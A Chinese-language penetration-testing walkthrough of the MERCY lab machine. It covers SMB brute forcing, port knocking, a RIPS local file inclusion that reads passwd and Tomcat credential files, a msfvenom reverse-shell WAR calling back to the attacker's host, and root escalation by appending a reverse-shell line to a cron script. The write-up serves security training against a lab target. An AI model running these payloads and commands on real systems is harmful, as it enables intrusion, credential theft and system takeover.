MERCY渗透实战

信息收集

nmap -sS -Pn -A -p- -n 192.168.8.138
MERCY渗透实战_第1张图片
image.png

开放的端口服务有:

22/tcp   filtered ssh
53/tcp   open     domain
80/tcp   filtered http
110/tcp  open     pop3?
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open     imap        Dovecot imapd
445/tcp  open     netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp  open     ssl/imap    Dovecot imapd
995/tcp  open     ssl/pop3s?
8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1

smb枚举探测

139和445的共享服务端口,用enum4linux探测一下

enum4linux -S 192.168.8.138
MERCY渗透实战_第2张图片
image.png

发现qiu这个目录可以访问

smbclient //192.168.8.138/qiu
image.png

需要身份验证,没密码。。。

8080的WEB就一tomcat页面,http://192.168.8.138:8080/manager/登录不了

hydra爆破smb

没有任何提示,80的web被filter了,8080web的tomcat没有利用点,只能爆破下smb共享目录的密码

先用enum4linux探测一下用户名

enum4linux -U 192.168.8.138
MERCY渗透实战_第3张图片
image.png

用户名确定为:qiu 或者 pleadformercy

也可以用hydra的-e nsr来探测用户名:

hydra -L smbusers.txt smb://192.168.8.138 -e nsr
MERCY渗透实战_第4张图片
image.png

探测到用户名为:qiu

将可能的用户名"qiu"和"pleadformercy"添加到user.txt中,用hydra进行爆破

hydra爆破:

hydra -L mercyusers.txt -P passwd.txt smb://192.168.8.138 -s 139
MERCY渗透实战_第5张图片
image.png

爆破成功,密码为空

直接以用户名为qiu登录smb服务:

smbclient //192.168.8.138/qiu -U qiu
MERCY渗透实战_第6张图片
image.png

在.private\opensesame\目录中,获取config文件

get config
Here are settings for your perusal.

Port Knocking Daemon Configuration

[options]
    UseSyslog

[openHTTP]
    sequence    = 159,27391,4
    seq_timeout = 100
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
    tcpflags    = syn

[closeHTTP]
    sequence    = 4,27391,159
    seq_timeout = 100
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
    tcpflags    = syn

[openSSH]
    sequence    = 17301,28504,9999
    seq_timeout = 100
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

[closeSSH]
    sequence    = 9999,28504,17301
    seq_timeout = 100
    command     = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

并发现了Port Knocking(端口敲门)序列号


MERCY渗透实战_第7张图片
image.png

端口敲门

主要有两组序列号,一组用于打开HTTP服务的,一组用于打开SSH服务的

敲击80 端口 HTTP服务的脚本:

#!/bin/bash
#ip和端口,可以自己修改
for PORT in 159 27391 4;do nmap -Pn 192.168.8.138  -p  $PORT;

done

赋权后执行:

chmod 777 knock.sh
./knock.sh
MERCY渗透实战_第8张图片
image.png

80端口已打开

telnet 192.168.8.138 80
image.png

同理,敲开SSH服务的端口序列为:

[openSSH]
    sequence    = 17301,28504,9999
    seq_timeout = 100
    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

端口敲门shell脚本为:

#!/bin/bash

for PORT in 17301 28504  9999;do nmap -Pn 192.168.8.138  -p $PORT;

done

执行后,靶机22端口ssh服务开启:


MERCY渗透实战_第9张图片
image.png

WEB渗透

MERCY渗透实战_第10张图片
image.png

访问下该站点的robots.txt


MERCY渗透实战_第11张图片
image.png
User-agent: *
Disallow: /mercy
Disallow: /nomercy

访问http://192.168.8.138/mercy

MERCY渗透实战_第12张图片
image.png

在 http://192.168.8.138/nomercy 下发现了 可能存在文件包含

MERCY渗透实战_第13张图片
image.png

看到该网站是用RIPs 3.5建站的,果断搜相关的漏洞


MERCY渗透实战_第14张图片
image.png

在 https://www.exploit-db.com/exploits/18660 搜索到该漏洞信息,存在本地文件包含漏洞。

MERCY渗透实战_第15张图片
image.png

将其poc下载下来后,发现可以这样读取本地文件


MERCY渗透实战_第16张图片
image.png

直接读取etc/passwd

http://192.168.8.138/nomercy//windows/code.php?file=../../../../../../etc/passwd
MERCY渗透实战_第17张图片
image.png

从8080端口的web可以看到,apache的配置信息在/etc/tomcat7/tomcat-users.xml 中


MERCY渗透实战_第18张图片
image.png

尝试用文件包含读取该配置信息:

http://192.168.8.138/nomercy//windows/code.php?file=../../../../../../etc/tomcat7/tomcat-users.xml
MERCY渗透实战_第19张图片
image.png

直接获得apache管理员登录的账号和密码:

username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"

username="qiu" password="mercyplz" roles="manager-gui"

可直接用于登录


MERCY渗透实战_第20张图片
image.png

apache后台上传部署反弹war

登录后台成功,可以用来部署恶意webapp,这是一个允许反弹shell的WAR文件

确认靶机系统为linux 32位

利用kali通过msfvenom来生成反弹war包,上传部署到站点上

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.253  LPORT=4444 -f war -o shell.war
image.png

上传成功


image.png

触发反弹提权

在kali中通过7z命令可以查看war包的内容,

7z l shell.war
MERCY渗透实战_第21张图片
image.png

生成的是srmuaplwm.jsp

访问 http://192.168.8.138:8080/shell/srmuaplwm.jsp 触发反弹

现在kali上开启nc监听

nc -lvp 4444

反弹成功


MERCY渗透实战_第22张图片
image.png

先用python切一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

找到根路径下的local.txt


MERCY渗透实战_第23张图片
image.png

提权

从文件包含中,我们得到了用户qiu的登录密码

可用于靶机登,密码:mercyplz

su qiu

在qiu用户的home目录下中的private文件夹中的timeclock脚本是以root权限执行的


MERCY渗透实战_第24张图片
image.png
#!/bin/bash

now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time

可以看到以root权限执行,写入/var/www/html/time中

在文件中写入以下nc反弹

echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0/tmp/p" >> timeclock

kali开启nc监听

nc -lvp 5555

反弹成功


MERCY渗透实战_第25张图片
image.png

get flag 成功


MERCY渗透实战_第26张图片
image.png

总结

1、该靶机有点难度,主要在于nmap扫描出来80端口被filter之后,8080端口web服务只有tomcat初始界面时,要注意139和445共享端口服务。
2、通过端口敲击打开80和22服务后,进行web渗透,利用文件包含漏洞读取相应的账号、密码信息。
3、登录靶机进行定时文件执行反弹提权

MERCY靶机百度云下载
链接:https://pan.baidu.com/s/1g6Ls0hpwmilgNrIltPMzWw
提取码:qk3q

你可能感兴趣的:(MERCY渗透实战)